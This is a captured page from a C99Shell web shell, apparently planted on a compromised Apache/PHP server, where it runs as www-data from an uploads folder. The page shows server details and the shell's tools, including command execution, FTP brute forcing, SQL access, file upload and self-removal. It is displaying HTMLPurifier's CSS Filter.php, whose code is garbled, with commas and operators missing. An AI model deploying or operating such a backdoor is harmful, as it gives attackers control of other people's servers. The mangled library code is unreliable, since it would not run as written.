!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/   drwxr-xr-x
Free 13.09 GB of 57.97 GB (22.59%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Filter.php (2.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Microsoft's proprietary filter: CSS property
 * @note Currently supports the alpha filter. In the future, this will
 *       probably need an extensible framework
 */
class HTMLPurifier_AttrDef_CSS_Filter extends HTMLPurifier_AttrDef
{
    
/**
     * @type HTMLPurifier_AttrDef_Integer
     */
    
protected $intValidator;

    public function 
__construct()
    {
        
$this->intValidator = new HTMLPurifier_AttrDef_Integer();
    }

    
/**
     * @param string $value
     * @param HTMLPurifier_Config $config
     * @param HTMLPurifier_Context $context
     * @return bool|string
     */
    
public function validate($value$config$context)
    {
        
$value $this->parseCDATA($value);
        if (
$value === 'none') {
            return 
$value;
        }
        
// if we looped this we could support multiple filters
        
$function_length strcspn($value'(');
        
$function trim(substr($value0$function_length));
        if (
$function !== 'alpha' &&
            
$function !== 'Alpha' &&
            
$function !== 'progid:DXImageTransform.Microsoft.Alpha'
        
) {
            return 
false;
        }
        
$cursor $function_length 1;
        
$parameters_length strcspn($value')'$cursor);
        
$parameters substr($value$cursor$parameters_length);
        
$params explode(','$parameters);
        
$ret_params = array();
        
$lookup = array();
        foreach (
$params as $param) {
            list(
$key$value) = explode('='$param);
            
$key trim($key);
            
$value trim($value);
            if (isset(
$lookup[$key])) {
                continue;
            }
            if (
$key !== 'opacity') {
                continue;
            }
            
$value $this->intValidator->validate($value$config$context);
            if (
$value === false) {
                continue;
            }
            
$int = (int)$value;
            if (
$int 100) {
                
$value '100';
            }
            if (
$int 0) {
                
$value '0';
            }
            
$ret_params[] = "$key=$value";
            
$lookup[$key] = true;
        }
        
$ret_parameters implode(','$ret_params);
        
$ret_function "$function($ret_parameters)";
        return 
$ret_function;
    }
}

// vim: et sw=4 sts=4

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--